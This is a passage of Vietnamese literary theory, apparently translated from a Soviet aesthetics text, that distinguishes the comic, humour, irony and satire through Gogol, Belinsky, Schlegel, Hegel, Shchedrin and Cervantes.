Nhưng không hiếm khi cuộc sống có cái đáng cười trong chính bản chất của mình. Chúng ta lại quay về với Gôgôn. Khi ông đã chuyển từ sự vui vẻ hài hước của “Những tối vui nơi trại ấp…” đến sự mô tả cuộc sống của những địa chủ và quan lại thì trong các tác phẩm của ông đã hiện lên cái hài sâu sắc và nghiêm trang hơn. Đáng cười nhạo ví như Ivan Ivanôvich Pererepenkô khi nó “vừa mới ăn no và cởi áo dưới mái che, bây giờ ra lệnh cho Gapka mang ra hai quả dưa bở rồi tự mình bổ ra, gom hạt vào mảnh giấy riêng và bắt đầu ăn. Sau đó nó bảo Gapka đem lọ mực rồi tự tay mình ghi vào mảnh giấy gói hạt: “Quả dưa bở này đã ăn vào ngày nào”. Nếu khi đó có người khác nào đó thì ghi thêm “đã có ai đó cùng tham dự”.
Trong cái lớp này đáng cười không chỉ chính những hành động lố bịch của Ivan Ivanôvich mà đáng cười chính cái tính cách của nó tuyệt nhiên không biểu hiện một cách ngẫu nhiên trong những hành động tương tự. Trong những ghi chép lễ hội mà chúng được làm nên nhân những việc vặt vạch đại loại như chuyện ăn dưa bở đã bộc lộ cái mâu thuẫn hài hước giữa cái vẻ quan trọng đẳng cấp và sự tự phụ của người địa chủ Ucrain, người chủ khu trung tâm thành phố, trại ấp và những nông nô với cái bản chất ký sinh và tình trạng ứ đọng vật chất, đạo đức của nó cùng sự đồi bại của cuộc sống trống rỗng, vô nghĩa của nó. Nhưng cái tham vọng về tầm quan trọng đẳng cấp của mình hiện ra ở Pererepenkô không chỉ trong những việc vặt vãnh đời thường mà còn trong những biểu hiện chủ động hơn của tính cách nó, trước hết là trong sự hiềm khích lâu dài và việc kiện tụng của nó với người bạn và hàng xóm mới đây – trong sự hiềm khích mà cũng chỉ bắt nguồn từ những chuyện tẹp nhẹp nhưng kéo dài suốt cả năm.
Cái đặc trưng cơ bản của mâu thuẫn hài hước của những tính cách người là những mâu thuẫn ấy được nhận thức và nghe thấy được dễ dàng hơn trong những biểu hiện bên ngoài của mình – trong những hành động, vận động của con người, trong những điệu bộ, nét mặt, cử chỉ, trong những ý kiến và những đặc điểm lời nói, trong các thói quen mặc quần áo, sử dụng đồ vật của nó v.v… Nhưng khó hơn là nắm bắt và nhận thức tính hài hước của chính đời sống bên trong con người – của tình cảm, tư tưởng, khát vọng của nó. Ở đó có một nguyên nhân rất sâu sắc.
Vấn đề ở chỗ là mặc dù cái hài của các tính cách người nằm trong cái khát vọng sai lầm, không hợp lý về cái ý nghĩa lớn lao, nhưng bất kỳ cái khát vọng nào cũng cần có sự võ đoán của hành động và khả năng lựa chọn tự giác những hành động của mình, tuy nhiên hài hước là ở chỗ, những khát vọng về cái ý nghĩa lớn lao mà chính con người không ý thức được rằng sai lầm, đã được thực hiện với tất cả sự chân thành và hồn nhiên.
Những hành động của con người biểu lộ ở sự kết hợp cái ý nghĩa và cái trống rỗng của cuộc sống của anh ta, khi chính bản thân anh ta nhận thức về một việc nào đó càng ít bao nhiêu nhưng lại tin tưởng vào tính hợp lý của những khát vọng của mình càng lớn bao nhiêu và không mảy may nghi ngờ gì trong đó thì những sự hài hước lại càng nhiều hơn. Nói cách khác con người càng buồn cười nhiều hơn khi nó càng nghiêm trang hơn trong những hành động có tính hài hước của mình. Và cái hài của những hành động ấy hoàn toàn được nhận thấy và hiểu hết từ phía những người khác nếu như chính họ đã trưởng thành về tư tưởng và đạo đức đến độ nhận thức ấy.
Với sự rõ nét đặc biệt, điều đó hiện ra trong văn học nghệ thuật – trong mức độ lớn hơn cả là ở kịch, bởi vì văn học cũng như nghệ thuật nói chung đã điển hình hóa một cách sáng tạo những tính cách xã hội của nhiều người và thông qua đó phơi bày những đặc điểm và bản chất chủ yếu của chúng với sức mạnh to lớn và có tính quy luật hơn so với điều đó thường xảy ra trong cuộc sống.
Gôgôn không chỉ là nhà hài hước vĩ đại nói chung mà còn là nhà viết kịch vĩ đại, hiểu rất rõ quy luật tâm lý ấy của việc thể hiện nghệ thuật các tính cách hài kịch trên sân khấu. Trong “Thông báo trước cho tất cả những ai đã mong ước được trêu chọc đến nơi đến chốn “Quan thanh tra”, ông đã viết: “Cần phải đề phòng nhiều hơn cả để không rơi vào lố bịch…”. “Người nghệ sĩ càng ít nghĩ đến để làm bật cười và trở thành hài hước thì cái hàn gắn với vai diễn của anh ta lại càng phơi bày ra. Cái hài tự nó phơi bày ra chính ở trong cái nghiêm túc mà mỗi nhân vật được mô tả trong hài kịch nhận lấy nó làm công việc của mình. Tất cả chúng đều bận bịu công việc, hối hả, thậm chí nồng nhiệt với công chuyện của mình tưởng như với nhiệm vụ quan trọng nhất của đời mình. Nhưng từ phía khán giả thì chỉ thấy việc bận rộn của chúng là tẹp nhẹp. Nhưng chính chúng lại hoàn toàn không đùa cợt và không hề nghĩ rằng có ai đó đang cười nhạo chúng”(1).
Và khi Sépkin đóng vai người đứng đầu thành phố trong “Quan thanh tra” thì Bêlinxki khâm phục sự diễn xuất của ông, đã viết: “Nhà nghệ sĩ đã hiểu nhà thơ: cả hai đều không muốn làm một bức biếm họa, một tác phẩm châm biếm, thậm chí một bài thơ trào phúng nhưng họ muốn trình diện hiện tượng của đời sống hiện thực, một hiện tượng đặc trưng, điển hình”(2). Sự cảm phục ấy của Bêlinxki khởi nguồn từ tính hài hước khách quan của toàn bộ điều xảy ra trên sân khấu khi trình diễn “Quan thanh tra”. Sépkin và toàn bộ đoàn diễn của ông đã đóng vở kịch của Gôgôn phù hợp với những điều chỉ dẫn mà nhà viết kịch đã nêu trong lời “Thông báo trước” của mình.
Hoàn toàn không phải tất cả các nhà văn và nhà lý luận đã nhận thức được quy luật đó của tính tự nhiên, không chủ tâm của cái hài chân chính. Ví dụ, theo ý kiến của G.Phinđing, “nguồn gốc của cái cười chân chính là… sự giả dối”; “… quả là nếu như, – ông viết, – được bộc lộ thì con người là một cái gì đó vừa ngược lại với cái mà nó đã thể hiện mình, đó là cái bất ngờ hơn cả và có nghĩa buồn cười hơn cả so với nếu như được làm sáng rõ thì trong nó cực ít ỏi những phẩm chất mà nó hầu như đã muốn được nổi danh”(2).
Rõ ràng Phinđing nói ở đây về cái hài hước bên ngoài, tạo ra lối đùa cợt, làm bật cười bởi sự dụng tâm. Dĩ nhiên có thể rất buồn cười khi một người thông minh giả bộ ngu ngốc nhưng sau đó chỉ ra sự đánh lừa của mình với những người xung quanh. Nhưng trong đó chẳng có chút gì thuộc về cái hài. Ngược lại cái hài chân chính sẽ là một người mà với tất cả sự chân thành và ngẫu nhiên “hình như đã muốn nổi danh” bằng trí tuệ của mình nhưng với những người xung quanh thì rõ ràng là những phẩm chất ấy nói một cách nhẹ nhàng là “trong nó cực ít ỏi”.
Đại thể là những đặc điểm của cái hài trong đời sống thực tế và việc tái hiện nó trong văn học nghệ thuật là như vậy.
2
Nhưng không nên đối lập cái hài với cái buồn cười nói chung. Cái hài luôn buồn cười theo cách của mình, luôn gợi một loại tiếng cười đặc biệt. Tiếng cười nói chung có trong cuộc sống con người một cách phổ biến cực kỳ rộng lớn, được gợi ra với nhiều nguyên do khác nhau nhất và có thể có ý nghĩa hoàn toàn khác nhau.
Thường tiếng cười gợi ra bởi sự kích thích thần kinh bên ngoài: khi bị cù vào nách, người ta cười khanh khách. Thường có tiếng cười gợi nên bởi những khuyết tật cơ thể bên trong, ví dụ bởi sự rối loạn của gan, – thường đau đớn và bực tức, hoặc là ngược lại do cảm nhận qua đoạn cuối của sức khỏe – bề ngoài vui tươi, hăng hái thậm chí chẳng có nguyên nhân. Trong tất cả các trường hợp ấy tiếng cười không có một ý nghĩa nhận thức nào.
Nhưng người ta cười và theo những hoàn cảnh khách quan bên ngoài của cuộc sống sinh hoạt cá nhân của mình – vui mừng khi đạt được thành công hay lợi lộc này khác và bực tức khi thất bại trong những tính toán và hy vọng hão huyền. Và trong cả trường hợp này và trường hợp khác tiếng cười có thể liên quan đến những người riêng biệt này hay khác tạo điều kiện cho thành đạt hoặc có lỗi trong hy vọng viển vông, trong việc mang lại nhiều tổn thất. Cái cười như vậy có ý nghĩa nhận thức. Nhưng trong phần lớn các trường hợp nó không vượt khỏi giới hạn cá nhân và khuynh hướng của nó không có nội dung khái quát.
Nhưng đôi khi tiếng cười xuất hiện ở mọi người trên cơ sở hiểu biết khái quát những đặc điểm cơ bản và sâu sắc hơn cả của những quan hệ đời sống này hay khác hay những quan niệm chung về chúng. Tiếng cười có thể gợi nên sự nhận thức cái vĩ đại của những hành động và sự kiện này khác có ý nghĩa xã hội hoặc gắn với chúng là sự nhận thức tính cao cả của những khát vọng và cảm xúc này hoặc khác. Đó là cái cười khoái trá, hân hoan hoặc biểu hiện sự xúc động.
Nhưng vẫn thường còn tiếng cười có ý nghĩa khái quát có thể gợi lên nhận thức về sự không hoàn thiện của đời sống xã hội, lòng căm tức sự đê tiện của những quan hệ của nó, tình cảm thù địch không phải đối với những cá nhân con người riêng lẻ mà đối với những kẻ như là đại biểu của những tầng lớp xã hội này hay khác, của những cơ quan, đoàn thể, phong trào. Tiếng cười như vậy đã từ lâu nhận được tên gọi là sự mỉa mai và châm biếm cay độc(1). Cả tiếng cười khoái trá, hân hoan, cả tiếng cười mỉa mai hay châm biếm cay độc, bằng cách ấy đều có khuynh hướng tư tưởng và bắt nguồn từ những lý tưởng của con người trong những mối quan hệ của chúng với những bản chất chủ yếu của đời sống ý thức. Mỉa mai và châm biếm cay độc xuất hiện từ nhận biết sự không phù hợp gay gắt của lý tưởng và hiện thực.
Nhưng sự mỉa mai với toàn bộ khuynh hướng khái quát tư tưởng của mình dù sao vẫn có thể trở thành chủ quan, có thể bắt nguồn từ những lý tưởng xã hội nhưng không xuất hiện bởi những đặc điểm khách quan của hiện thực.
Trong quan hệ với văn học nghệ thuật, nhà lý luận rất nổi tiếng của trào lưu lãng mạn Đức – Phriđrich Slêghen đã phát triển cách hiểu như vậy của cái mỉa mai. Slêghen cho rằng đặc điểm quan trọng nhất của văn học lãng mạn là sự tự do của nó – sự tự do không chỉ ra khỏi “những quy tắc” trừu tượng và gò bó được tạo ra bởi chủ nghĩa cổ điển mà là sự tự do sáng tạo bên trong thể hiện trong sự tự ý chủ quan của nhà văn, trong sự thống trị hoàn toàn của nó với điều được mô tả. “Chỉ mỗi một nó (thơ ca lãng mạn – G.P) là bất tận và tự do và được sự độc đoán của nhà thơ thừa nhận là quy luật cơ bản của mình còn nhà thơ không cần phụ thuộc vào bất cứ quy luật nào”(2), – Slêghen đã viết trong “Phlagment”.
Sự mỉa mai, theo Slêghen là sự biểu hiện trực tiếp của sự tự do sáng tạo ấy của thơ ca lãng mạn, làm cho đến tận cùng. “Trong cái mỉa mai, – tác giả “Phlagment” viết, – tất cả cần phải trở thành bỡn cợt và tất cả cần trở thành nghiêm chỉnh, tất cả phải hồn nhiên – công khai và tất cả phải giả vờ – sâu sắc”. Đó là “sự láu lỉnh tuyệt trần cười nhạo cả thế giới…”. Trong các tác phẩm lãng mạn, theo Slêghen “đang bao trùm một tâm trạng mà từ trên cao nhìn khắp mọi vật, dâng lên đến vô cùng mọi chế định kể cả về phía này cả nghệ thuật riêng của mình, cả phẩm hạnh và thiên tài”(1).
Lý luận này về cái mỉa mai đã có thể làm nhà văn lãng quên nhiệt hứng chân chính của sáng tạo. Phù hợp với lý luận này có thể tạo ra những tác phẩm vừa chân thực vừa giả dối về khuynh hướng tư tưởng – cảm xúc và cả những tác phẩm mà trong đó thái độ mỉa mai của tác giả đối với cuộc sống, thực sự đưa tới sự châm biếm việc miêu tả của nó, cái điều mà Gôgôn e ngại rằng trong những tác phẩm như thế sự mỉa mai của nhà văn bị kích thích bởi cái hài hước khách quan của các tính cách được mô tả.
Ở Gôgôn có sự lập luận thú vị về những sự khác nhau cơ bản ấy trong chính nội dung của tiếng cười. Trong “Sự trở về sân khấu sau buổi công diễn hài kịch mới” ông viết: “Không, tiếng cười có ý nghĩa hơn, sâu sắc hơn người ta nghĩ. Không phải là tiếng cười sinh ra bởi sự dễ bực tức tạm thời, bởi tâm trạng bệnh tật, cáu kỉnh của tính cách; cũng không phải là tiếng cười … đào sâu đối tượng, buộc phải hiện ra rõ ràng cái mà hình như đã thoáng qua, thiếu sức xuyên vào của nó thì cái nhỏ nhen, trống rỗng của đời sống hình như đã làm kinh sợ con người”(2).
Gôgôn đã đúng. Thường có tiếng cười không chỉ phủ nhận một cách chủ quan cuộc sống mà còn có “sức xuyên vào” có khả năng “đào sâu” bản chất tiêu cực của chính cuộc sống. Cái mỉa mai theo quan hệ với tính cách con người, khi nó xuất hiện trong sự hiểu biết tự nhiên tính mâu thuẫn hài hước cơ bản và khách quan của chúng, khi nó khắc phục bằng cách đó tất cả cái ngẫu nhiên và riêng tư của chính bản thân và trong đối tượng của mình, nhận được ý nghĩa tư tưởng khái quát. Khi đó nó trở thành sự trào phúng cốt tử của cảm hứng tư tưởng sáng tạo của nghệ sĩ và tác phẩm của anh ta.
Trong “Mỹ học” của Hêghen có một loạt nhận xét quan trọng liên quan đến mối tương quan của cái mỉa mai và cái hài hước trong trào phúng. Chẳng hạn như trong liên hệ với quan điểm chung của mình về giai đoạn lãng mạn của phát triển nghệ thuật, khi các nhà lý luận giai đoạn này đã nhìn thấy trong cái mỉa mai chỉ ở cái chủ quan, sự hóm hỉnh của nhà thơ, Hêghen đã viết: “Nhưng nếu như sự thỏa mãn ấy (trong nghĩa hài lòng – G.P) với cái bề ngoài cũng giống như với sự miêu tả chủ quan, lớn lên và dẫn tới… sự đào sâu tâm hồn vào đối tượng, nhưng mặt khác sự trào phúng trong khuôn khổ của sự phản ánh chủ quan của mình cũng chiếm lĩnh cả khách thể và cách bố cục của nó thì chúng ta nhờ đó mà nhận được một sự đi sâu nào đó vào đời sống bên trong đối tượng, một sự châm biếm giống như khách quan nào đó” (XIII, 169, Nhấn mạnh của chúng tôi – G. P).
Những điều như vậy trong những tính chất cơ bản mặc dù còn chưa đầy đủ của đặc điểm cái trào phúng giống như cảm hứng của các tác phẩm nghệ thuật.
3
Bây giờ lại xuất hiện vấn đề về cái châm biếm không như về một thể loại mà như về một biến thể của cảm hứng. Cái châm biếm phân biệt với cái trào phúng bằng cái gì và có thể nói về chúng như hai thể khác nhau của mối liên hệ tư tưởng cảm xúc đối với đời sống chăng?
Trong “Mỹ học” của Hêghen ít nói về điều này và không đủ thuyết phục. Hêghen đã nhìn cái châm biếm giống như một trong những biểu hiện của bậc cuối cùng của sự phát triển nghệ thuật “cổ điển”, như một điều báo trước nào đó sự tan rã của nó. “Cái tinh thần cao thượng, – ông viết, – con tim đức hạnh từ chối trong việc thực hiện của ý thức mình trong thế giới tệ nạn, nhảm nhí, hướng tới nó với sự căm phẫn nồng nhiệt hơn, với sự sắc sảo tinh vi hơn, với sự đắng cay lạnh lùng hơn chống lại cái tồn tại đang bày ra trước họ mà nó mâu thuẫn trực tiếp với ý niệm trừu tượng của nó về đức hạnh và chân lý”. Đó là cái châm biếm như một “hình thức của nghệ thuật”.
Nhưng sau đó bị rơi vào mâu thuẫn sâu sắc với cái định nghĩa chung ấy của mình, nhà triết học lại khẳng định rằng trong châm biếm hình như “tìm thấy trong mình sự biểu hiện không phải cảm giác tinh thần mà là một quan niệm chung nhất về cái thiện… cái mà mặc dù còn trộn lẫn với các đặc điểm chủ quan và hiện ra như một tính cách đặc biệt của đạo đức của chủ thể này hay chủ thể khác, nhưng không thưởng thức mình trong cái đẹp tự do khoáng đạt của ý niệm…”. Điều đó cho phép Hêghen khẳng định rằng sự thấu hiểu có tính châm biếm cuộc sống “không tạo được một thơ ca chân chính, một tác phẩm chân chính nào của nghệ thuật” (XIII, 84).
Hêghen xem các tác phẩm của các nhà thơ La Mã thời đại đế chế – của Hôraxơ và cả của Perxi, Ivenal với những nguyên tắc mô tả trữ tình – sử thi đặc trưng của chúng và với sự thể hiện rõ ràng “tính định chuẩn” của việc phản ánh đời sống của chúng là thời kỳ hưng thịnh của văn châm biếm như một hình hức kém giá trị của sáng tác văn học. Và ông cho rằng văn châm biếm không có tiền đồ phát triển về sau.
Cách hiểu như vậy về bản chất văn châm biếm và lịch sử của nó tất nhiên là cực kỳ thiên vị. Nó xuất phát từ một lược đồ định sẵn sự phát triển thế giới nghệ thuật, từ ý định “lắp vừa khít” vào đó tất cả các hiện tượng của nó và tước đi những căn cứ thực tế. Từ trường nhìn của Hêghen rơi mất những tác phẩm của những nhà châm biếm vĩ đại như Rable và Xvipht, thậm chí chúng không được nhắc tới trong tác phẩm đồ sộ của ông.
Nhưng quan điểm biện chứng – lịch sử của “Mỹ học” Hêghen đã có uy tín biết bao đối với tư tưởng nghệ thuật văn học tiên tiến thời đại ông và cả hàng chục năm sau và cách nhìn văn châm biếm như một “loại lệch lạc” của văn học đã được nhiều nhà lý luận lúc đó tán đồng, ví dụ như Bêlinxki trong những năm 30.
Về sau với sức mạnh của các nhà phê bình và nhà văn dân chủ cách mạng Nga, đặc biệt là Đôbrôliubốp và Sêđrin thì quyền hiểu biết có tính châm biếm đời sống trong văn học nghệ thuật mới hoàn toàn khôi phục. Ở chúng ta đã từ lâu không ai nghi ngờ giá trị mỹ học và xã hội cao cả của các tác phẩm châm biếm. Nhưng một số nhà lý luận của chúng ta ham thích sự cực đoan đối lập. Đối với họ hình như sự thấu hiểu tư tưởng cái khôi hài khách quan của các tính cách xã hội những thời đại này hay thời đại khác có thể chỉ là cái châm biếm (trào phúng).
Cái quan điểm như vậy được nói lên ví dụ trong cuốn sách của Ia.E.Enxberg “Những vấn đề lý luận văn châm biếm”. Trong đó có nhiều tư tưởng đúng nhưng những khái niệm lý luận liên quan đến vấn đề nghiên cứu thì không được rõ ràng đầy đủ.
Tác giả cuốn sách phân chia một cách sai lầm cái châm biếm là một “loại” đặc biệt của sáng tác văn học song song với sử thi, trữ tình, kịch. “Loại” văn học đặc biệt như vậy dĩ nhiên là không có. Văn châm biếm có thể tồn tại cả trong sử thi, trong trữ tình và trong kịch. Chính nguồn gốc có tính châm biếm trong các tác phẩm văn học vì lẽ gì đó mà từ lâu Ia.E.Enxberg xác định như “nguyên tắc tư tưởng nghệ thuật đặc biệt của việc miêu tả hiện thực”, mặc dù về sau thì lại nói về cái châm biếm như là cảm hứng, như là phương diện nội dung của tác phẩm nghệ thuật.
Khi phân tích trong “vấn đề không rõ ràng” “về những mối tương quan của cái hài hước, cái trào phúng và cái buồn cười ở một phía và cái châm biếm ở phía và cái châm biếm ở phía khác”, ông đã xuất phát hoàn toàn đúng từ luận điểm rằng sự nhận thức có tính châm biếm và đánh giá cuộc sống không phải là một cái gì đó chủ quan và võ đoán mà bắt nguồn từ cái hài hước của chính các tính cách và quan hệ người. Và trong cách hiểu bản chất cái hài hước trong đời sống, tính mâu thuẫn khách quan thuộc về tính cách hài hước, ông đã hoàn toàn xuất phát từ định nghĩa do Sécnưsepxki nêu ra.
Nhưng khó có thể đồng ý với điều mà Ia.E.Enxberg xác định mối tương quan của cái châm biếm và cái trào phúng. Ông hiểu về cơ bản cái trào phúng chỉ như tình cảm khôi hài và hoàn toàn phụ thuộc vào cái châm biếm của nó, cho rằng cái trào phúng là một tâm trạng chủ quan của nghệ sĩ mà điều đó cho phép nó trở thành nghệ sĩ. “Gôgôn và Sêđrin, – ông viết, – đã thấy trong cái trào phúng và cái buồn cười, trong việc biết tìm cái hài và đưa nó ra chế nhạo thì đó là một vũ khí quan trọng, thậm chí đặc trưng của nhà trào phúng”(1). Ông còn xác định rõ hơn: “… những tính cách châm biếm trong toàn bộ đặc thù cá biệt và ý nghĩa điển hình của chúng đã được các nhà nghệ sĩ sáng tạo nhờ tình cảm trào phúng vốn có của họ, nhờ sự biết nắm bắt những đặc điểm của cái hài trong đời sống, thể hiện lại chúng bằng các thủ pháp nghệ thuật và gợi lên tiếng cười”.
Nhưng như vậy thì thừa nhận rằng quả thực đang tồn tại ngang hàng với những tác phẩm châm biếm theo cảm hứng của mình và những tác phẩm mà đồng thời là những hình ảnh có tính trào phúng theo nghĩa đen. Nếu như các nhà lãng mạn Đức đã hiểu không đúng cái trào phúng cũng như Hêghen đã hiểu không đúng cái châm biếm thì từ đó không cần thiết phải từ chối việc phân biệt các khái niệm ấy cũng như không cần thiết, tất nhiên, cả việc vạch ra giới hạn không vượt qua được nào đó giữa chúng.
4
Ở trào phúng và châm biếm có một số đặc điểm chung. Chúng ở trong chính đối tượng của chúng – trong cái hài của những tính cách người được tạo nên bởi những hoàn cảnh khách quan của đời sống xã hội. Chúng ở cả trong khuynh hướng tư tưởng – cảm xúc của chúng – trong sự phủ định giễu cợt của cái hài. Có thể áp dụng giống nhau ý kiến của Gôgôn về tiếng cười đối với chúng, chúng ta đào sâu đối tượng, có được “sức mạnh xuyên qua”. Nhưng có sự khác biệt cơ bản thế nào trong tiếng cười trào phúng và châm biếm, dĩ nhiên, chẳng hạn trong cái chỗ mà sự khác biệt đó sinh ra, – trong chính cái hài hước của cuộc sống được miêu tả.
Bêlinxki đã viết đúng về sự khác biệt của “hai loại trào phúng” mà ông đã tìm thấy một loại của chúng trong các truyện vừa của Gôgôn. “Như vậy cái umua của Gôgôn là cái umua điềm tĩnh, điềm tĩnh trong sự căm phẫn của mình, hiền hậu trong chính sự ranh mãnh của mình”. “Nhưng trong tác phẩm còn có cái umua khác, nghiêm khắc và công khai; nó châm đến đổ máu… quất phải, quất trái bằng cái roi da của mình… cái umua gắt gỏng, độc địa, không thương xót”(1). Với tư cách cái ví dụ loại hứ hai ấy của trào phúng, nhà phê bình đưa ra sân khấu vũ hội, trên đó đã “tập họp một đám đông những người nổi tiếng phô trương, sự vĩ đại hèn hạ”, – từ trong truyện “Lời giễu cợt của tử thi” của V.F.Ođôepxki. Nếu như Bêlinxki trong lúc viết bài báo ấy của mình đã không tách chia luận điểm của Hêghen về việc cái châm biếm “không tạo được thơ ca chân chính” thì hình như ông đã gọi cái thứ hai trong “hai loại umua” là cái châm biếm rồi.
Vì sao trong một trường hợp thì xuất hiện tiếng cười “hiền hậu trong chính sự ranh mãnh của mình”, còn trong trường hợp khác thì tiếng cười “gắt gỏng, độc địa, không thương xót”? Chúng ta lưu ý lại quan điểm xuất phát chung của chúng ta đã cố áp dụng ở trên: cái cảm hứng chân thật trong khuynh hướng của mình làm xuất hiện những bản chất chủ yếu của đời sống được ý thức bởi người nghệ sĩ nhưng lại bắt nguồn từ những đặc điểm lý tưởng của nó.
Trong phạm vi cái hài rõ ràng là có thể thiết lập những mối tương quan giống nhau của cái cơ bản và cái tự do trong đời sống xã hội – dân tộc, những điều mà chúng ta đã xem xét trong phạm vi cái vĩ đại và cái cao cả. Ở đó mối tương quan này nằm ở chỗ việc thực hiện những nhiệm vụ tiến bộ – chung dân tộc tạo nên cái vĩ đại hoạt động của chính quyền nhà nước, của những tầng lớp xã hội và phong trào xã hội này hay khác, còn sự giao tiếp với hoạt động ấy thì nuôi dưỡng các này hay cách khác phẩm chất thực sự danh dự, vinh quang của những người riêng lẻ trong đời sống thường ngày riêng của họ.
Cũng giống với điều đó, mâu thuẫn hài kịch của hoạt động chính quyền nhà nước là nó hình như đang bảo vệ cái vĩ đại của sự đại diện toàn dân tộc và sự cầm quyền của mình nhưng thực tế thì lại đang tiến hành một nền chính trị phản động, chống dân tộc. Hoặc là cái mâu thuẫn như vậy của hoạt động các tầng lớp xã hội và các phong trào này hay khác có trong quá khứ một ý nghĩa tiến bộ trong một chừng mực nhất định nhưng đã dần mất đi và chỉ giữ cái vẻ quan trọng bề ngoài của những quan niệm tư tưởng của mình, những khẩu hiệu, những truyền thống. Điều đó là nguồn gốc của mâu thuẫn hài kịch trong các hành động, quan hệ, tập quán, riêng tư và công dân của mọi người trong tất cả quy luật lịch sử – dân tộc của mình ở đây gắn bó chặt chẽ với nhau và cái thứ hai là kết quả của cái thứ nhất.
Nhưng cả cái này và cái kia từ hai mặt khác nhau ấy và của phạm vi đời sống xã hội đang luôn được thực hiện bởi những con người riêng lẻ, những cá tính sinh động. Mà cái cá tính người dù đã chiếm một vị trí nào đó trong xã hội, luôn sống một cuộc đời riêng của mình, có ý chí tự do chủ quan, chứa trong bản thân một thế giới đạo đức riêng của mình, dù nó đã như thế nào thì vẫn có một số phận đạo đức riêng của mình và là một cái gì đó độc lập, tự cấp tự túc trong mọi quan hệ ấy. Từ quan điểm này cá tính người có thể được nhận thức cả trong mâu thuẫn hài kịch tạo nên ý nghĩa phủ định trong sự phát triển lịch sử – dân tộc của đời sống.
Tất cả điều đó liên quan tới văn học nghệ thuật. Văn học có thể nhận thức và đánh giá đúng cái hài khách quan của những tính cách xã hội từ những điểm nhìn khác nhau – từ phía công dân và phía đạo đức. Từ đó xuất hiện những sự khác nhau cơ bản của cảm hứng châm biếm và trào phúng của các tác phẩm văn học.
Trong quan hệ này chúng ta so sánh hai tác phẩm vĩ đại nhất – “Lịch sử một thành phố” của Sêđrin và “Đông Kisốt” của Xécvantex trong văn học thế giới, theo ý chúng tôi thì một cuốn biểu hiện cảm hứng châm biếm còn cuốn kia là cảm hứng trào phúng của tư duy tư tưởng – cảm xúc của các tính cách.
Sêđrin mạnh và dũng cảm hơn tất cả các nhà văn dân chủ – cách mạng Nga khác của mười năm sau cải cách đã hướng vào miêu tả những mâu thuẫn chính trị của thời đại và trước hết là mâu thuẫn đối kháng sâu sắc nhất giữa cuộc sống nhân dân và hoạt động của nhà nước chuyên chế phản động mà nó sau cải cách đã thống trị hoàn toàn đất nước.
“Lịch sử một thành phố” – đó là tác phẩm có giá trị và sâu sắc nhất của nhà văn về toàn bộ những vấn đề ấy. Đây là bộ sử thi hoàn chỉnh đời sống dân sự Nga hoàn toàn có khuynh hướng hiện đại mặc dù câu chuyện đó hoàn toàn đưa cả đế chế vào quá khứ lịch sử và được triển khai trong cái thành phố Glunôv hư ảo, tượng trưng xa cách thủ đô. Với cảm hứng sâu sắc, nhà văn đã vạch ra trong đó tính khôi hài nặng nề, u ám của “những hành vi” cả loạt những tên thủ trưởng thành phố liên tiếp thay nhau – những kẻ kỳ vọng vào tầm quan trọng và sự vô hạn quyền lực của mình tưởng như đang chăm sóc cho hạnh phúc dân chúng, được che dấu bởi nào là những sáng kiến văn học, nào là những cố gắng vô ích về luật pháp mà thực chất chỉ là bộ máy quân sự – quan liêu thi hành một cách máy móc và vô cảm ách áp bức, nô dịch nhân dân, mang vào trong đó chỉ cái đa dạng về sự chuyên quyền cá nhân, những thói đỏng đảnh và sự thiên vị của mình.
Thật ra phương diện dân sự của những tính cách, những quan hệ và sự kiện được miêu tả đồng thời đã được nhà văn nhấn mạnh rằng nó hoàn toàn bắt phụ thuộc vào mình tất cả sự chi tiết hóa cụ thể các tính cách và hầu như loại trừ hoàn toàn khỏi sự miêu tả những khía cạnh tâm lý, đời sống cá nhân của chúng. Và điều ấy chỉ tăng cường sự nhận thức của độc giả về tính khôi hài ảm đạm, nặng nề của cái đang xảy ra mà nó tìm được sự biểu hiện trong những chi tiết phóng đại ghê gớm thường đi tới hoang tưởng, lố bịch của tính tạo hình vật thể. Trong những chân dung, dáng điệu, vận động, phát biểu lố bịch của mình những quan chức đứng đầu thành phố Glunôv hiện ra như những con rối độc ác, như những bù nhìn của cục điện chính trị riêng của mình, của chính quyền của mình bên ngoài không gì phá vỡ được, bên trong thì trống rỗng, uể oải và vô nghĩa lý.
Nhận thức được tất cả điều đó, độc giả cùng với tác giả phán xét các nhân vật ấy từ quan điểm công dân và chế giễu chúng một cách độc địa, phẫn nộ, căm tức. Tác giả thấm đượm cảm hứng trào phúng lớn nhất mà người đọc kém hiểu biết cần phải học nhận thức, cần phải đạt trình độ khoái cảm thẩm mỹ bởi cảm hứng ấy.
Tiểu thuyết của Xécvantex – nhà văn lớn của thời Phục hưng Tây Ban Nha – “Nhà quý tộc Tây Ban Nha tài tình, hay Đông Kisốt Lanamxki”(1) đôi khi cũng gọi là trào phúng nhưng đó là sự lạm dụng thuật ngữ. Không hề có chút gì đáng là trào phúng trong tính cách nhân vật chính của tác phẩm ấy. Với sự phát triển của hành động, hình tượng của nó phần nhiều biểu hiện tính hài hước mềm mại, đôi khi hầu như chuyển sang cái bi kịch được bắt nguồn từ bề sâu nhất của tư tưởng khách quan của nhà văn.
Xécvantex đã nghĩ tác phẩm này trước tiên như văn nhại lại những tiểu thuyết cổ xưa về “các hiệp sĩ lãng du”, trong đó ca tụng những chiến công hiệp sĩ mà vào thời của ông ta tất cả nước Tây Ban Nha phong kiến quý tộc chuyên chế đã say mê đọc. Khi ấy Tây Ban Nha là đế quốc quân sự mạnh nhất trong toàn châu Âu, áp chế Hà Lan, tiêu diệt và cướp giật tàn nhẫn bằng tay mình những người hiệp sĩ dũng cảm mãnh liệt từng chiến thắng các bộ lạc người Inđiêng và mới khám phá ra châu Mỹ không lâu. Hiển nhiên là những cuộc phiên lưu hiệp sĩ một lần nữa và theo cách mới đã trở nên hấp dẫn các tầng lớp rộng rãi xã hội Tây Ban Nha lúc đó. Nhưng chính những tiểu thuyết đông đảo đã thành thời thượng thuở ấy thì đã cổ xưa biết bao về cốt truyện của mình, phần lớn chúng lại rất yếu và hay mô phỏng nghệ thuật, đã nhanh chóng trở thành đối tượng chê bai và thậm chí ngăn cấm từ phía nhà thờ và chính quyền nhà vua.
